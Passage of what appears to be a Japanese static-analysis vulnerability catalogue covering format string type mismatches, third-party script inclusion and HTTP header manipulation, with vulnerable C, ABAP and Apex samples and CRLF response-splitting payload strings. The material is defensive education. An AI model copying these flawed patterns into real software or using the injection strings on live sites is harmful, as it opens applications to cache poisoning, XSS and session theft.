プログラムは、関数に渡される引数のタイプと一致しない変換指定子を含んだ、不適切に構築されている Format String を使用します。不正な Format String により、プログラムは値を不正に変換したり、割り当てられたメモリの境界外で読み取りや書き込みを実行したりしてしまう可能性があるため、誤った動作を招いたり、プログラムがクラッシュしたりする場合があります。
Explanation
Buffer Overflow は、ソフトウェアセキュリティの脆弱性の中で最も有名な形態でしょう。Buffer Overflow の脆弱性については大半のソフトウェア開発者に知られているにも関わらず、依然として Buffer Overflow は新旧を問わずアプリケーションに対して最も多く見られる攻撃です。これは、Buffer Overflow には多種多様の発生形態があることや、この攻撃を阻止するために使用される手法が誤りやすいものであることによるものです。

古典的な Buffer Overflow の悪用では、攻撃者がプログラムに送信したデータが、それよりも小さいサイズのスタックバッファに格納されます。その結果、コールスタックにある情報、特に関数の戻りポインタが上書きされます。このデータがセットした戻りポインタの値に関数が戻ると、攻撃者のデータに含まれる悪意あるコードに制御が移ります。

このタイプのスタック Buffer Overflow は一部のプラットフォームや開発コミュニティでは今でも一般的ですが、ほかにもヒープ Buffer Overflow や「一つ違い」エラーなどのさまざまな Buffer Overflow があります。Buffer Overflow 攻撃の仕組みを解説した書籍には、Building Secure Software [1]、Writing Secure Code [2]、The Shellcoder's Handbook [3] など優れた本が数多くあります。

コードのレベルでは、Buffer Overflow 脆弱性には通常、プログラマの想定外のことが含まれます。C および C++ のメモリ操作関数の多くは境界チェックを行わないため、動作しているバッファに対して割り当てられた境界を簡単に超過する場合があります。strncpy() など境界が定められた関数の場合も、不正に使用されると脆弱性の原因になります。メモリの操作と、データのサイズや構成に関する誤った想定が同時に発生することが、大部分の Buffer Overflow の根本的な原因です。

この場合、不適切に構築されている Format String が原因で、プログラムはデータ値を不正に変換したり、割り当てられたメモリの境界外にある値にアクセスしたりしてしまう可能性があります。

例: 次のコードは、Format String にある形式指定子 %d を使用して、浮動小数点数から f を不正に変換しています。


void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
References
[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[3] J. Koziol et al. The Shellcoder's Handbook: Discovering and Exploiting Security Holes John Wiley & Sons
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 125, CWE ID 787
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [1] CWE ID 119, [5] CWE ID 125, [12] CWE ID 787
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [5] CWE ID 119, [4] CWE ID 125, [2] CWE ID 787
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [1] CWE ID 787, [3] CWE ID 125, [17] CWE ID 119
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [1] CWE ID 787, [5] CWE ID 125, [19] CWE ID 119
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [1] CWE ID 787, [7] CWE ID 125, [17] CWE ID 119
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 10.3
[17] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 5-0-3
[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[20] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[21] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 119
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_type_mismatch
Abstract
他のドメインのスクリプトを含めると、その Web ページのセキュリティを別のドメインのセキュリティに依存することになります。
Explanation
別の Web サイトにある実行可能なコンテンツを含めることは、危険です。自分のサイトのセキュリティを別のサイトのセキュリティに委ねることになります。

例: 次の script タグについて考えてみましょう。

<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com 以外の Web サイトでこのタグが表示される場合、このサイトは www.example.com に依存し、正しい悪意のないコードが提供されます。攻撃者が www.example.com を乗っ取っている場合、fancyWidget.js の内容を改変して、サイトのセキュリティが侵害される場合があります。たとえば、fancyWidget.js にユーザーの機密情報を盗むコードが追加される可能性があります。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark partial
[6] Standards Mapping - Common Weakness Enumeration CWE ID 494, CWE ID 829
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[13] Standards Mapping - OWASP Mobile 2024 M7 Insufficient Binary Protections
[14] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-PLATFORM-2
[15] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40)
[31] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Process Validation
desc.content.html.hardcoded_domain
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.abap.header_manipulation
Abstract
未検証のデータを HTTP レスポンス ヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookie 不正操作、Open Redirectが発生する可能性があります。
Explanation
Header Manipulation 脆弱性が発生するのは次の場合です。

1.信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。


2.Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへ CR (キャリッジ リターン、%0d または \r とも表記します) 文字や LF (ライン フィード、%0a または \n とも表記します) 文字を含める入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分と本文を制御できるだけでなく、追加のレスポンスを思うままに作成できてしまいます。

最近のアプリケーション サーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーション サーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例 1: 次のコードは、攻撃者が制御可能な名前と値を含む HTTP ヘッダーを設定します。


@HttpGet
global static void doGet() {
...
Map<String, String> params = ApexPages.currentPage().getParameters();

RestResponse res = RestContext.response;
res.addHeader(params.get('name'), params.get('value'));
...
}


名前と値のペアが authorJane Smith で構成されると想定した場合、このヘッダーを含む HTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
author:Jane Smith
...


ただし、ヘッダーの値は未検証のユーザー入力から形成されるため、攻撃者が HTTP/1.1 200 OK\r\n...foobar などの悪意のある名前と値のペアを送信し、HTTP レスポンスが次の形式の 2 つのレスポンスに分割される場合があります。


HTTP/1.1 200 OK
...

HTTP/1.1 200 OK
...
foo:bar


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー コンテンツや本文コンテンツで構成されてしまいます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザのキャッシュポイズニング、Cross-Site Scripting、ページ乗っ取り攻撃などの様々な攻撃が許容されることになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対するレスポンスと誤って解釈されることがあります。この攻撃では、攻撃者とユーザーがサーバー (共通のプロキシ サーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意している可能性があります。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、あるいはユーザーが 1 人であってもそのブラウザー キャッシュに保存されると、被害が拡大することがあります。レスポンスがプロキシ サーバーによくあるような共有 Web キャッシュに保存されると、キャッシュ エントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが悪意あるコンテンツを受け取り続けます。同様に、個別のユーザーのブラウザー キャッシュにレスポンスが保存される場合も、そのユーザーはキャッシュ エントリが消去されるまで悪意あるコンテンツを受け取り続け、ローカルのブラウザー インスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう、共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、1 番目のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをしても、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。その後に攻撃者は 2 番目のリクエストを送信します。プロキシ サーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーや本文に含まれる機密情報が漏洩します。

cookie 不正操作: Cross-Site Request Forgery のような攻撃が同時に行われると、正規ユーザーの cookie が攻撃者によって変更、追加、上書きまでもされることがあります。

Open Redirect: リダイレクトに使用される URL が未検証の入力によって制御されると、フィッシング攻撃を容易にしてしまう可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
